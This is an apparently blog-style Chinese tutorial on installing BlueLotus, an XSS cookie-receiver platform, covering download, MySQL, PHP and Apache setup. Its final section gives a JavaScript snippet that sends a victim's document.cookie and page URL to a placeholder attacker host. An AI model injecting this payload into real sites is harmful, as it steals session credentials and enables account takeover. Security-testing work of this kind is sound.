XSS测试平台——BlueLotus（Windows系统）下载与安装

### Bluelotus 的使用方法 Bluelotus 是由清华大学蓝莲花战队开发的一个 XSS 测试平台，主要用于测试跨站脚本攻击 (XSS) 漏洞以及捕获 Cookie 和其他敏感数据。以下是关于其使用的详细介绍： #### 1. 下载与解压 首先需要从官方仓库下载 BlueLotus 的压缩包，并将其解压到指定路径： ```bash wget https://github.com/trysec/BlueLotus_XSSReceiver/archive/master.zip -O bluelotus.zip unzip -d /opt/bluelotus bluelotus.zip ``` 上述命令会将 BlueLotus 解压至 `/opt/bluelotus` 路径下[^1]。 #### 2. 数据库配置 为了存储接收到的数据（如 Cookies），需设置 MySQL 数据库支持。具体操作如下： - 登录 MySQL 并创建名为 `bluelotus` 的新数据库； - 导入项目附带的 SQL 文件完成表结构初始化。 ```sql CREATE DATABASE bluelotus; USE bluelotus; SOURCE /path/to/BlueLotus_XSSReceiver/database.sql; ``` 此过程确保了后端能够正常连接并写入数据[^2]。 #### 3. PHP 环境准备 由于 BlueLotus 后端基于 PHP 实现，因此运行前必须确认服务器已安装 LAMP/WAMP 堆栈及相关依赖项。通常情况下，推荐版本为 PHP >=7.x 及以上[^4]。 #### 4. 配置 Web 服务 编辑 Apache/Nginx 配置文件指向 BlueLotus 所在目录作为根站点位置；同时调整权限允许外部访问接口功能。例如，在 Apache 中可添加虚拟主机条目： ```apache <VirtualHost *:80> ServerName your-domain-or-ip-address DocumentRoot "/opt/bluelotus" </VirtualHost> ``` #### 5. 初始化与启动 完成前期准备工作之后即可开启服务程序并通过浏览器验证页面加载情况。默认登录界面位于 http://your-server-address/index.php ，初次进入可能提示进一步参数设定，请按照指引填写完毕后再继续后续实验环节。 #### 6. 利用场景模拟 当一切就绪以后就可以着手设计实际应用场景下的恶意 JavaScript 注入代码片段来触发目标用户的浏览器向我们的接收器发送请求携带所需信息比如 session cookies 。下面给出一段简单的示范脚本供参考学习之用 : ```javascript (function(){ var img=new Image(); img.src="http://attacker_server_ip_or_domain/log?c="+document.cookie+"&u="+encodeURIComponent(window.location.href); })(); ``` 一旦受害者点击含有此类隐藏图片标签链接或者浏览被注入相应 js 的网页就会自动把当前网站关联的身份认证凭据提交给预先布置好的监听节点从而实现预期目的即收集泄露出来的隐私资料。 --- ###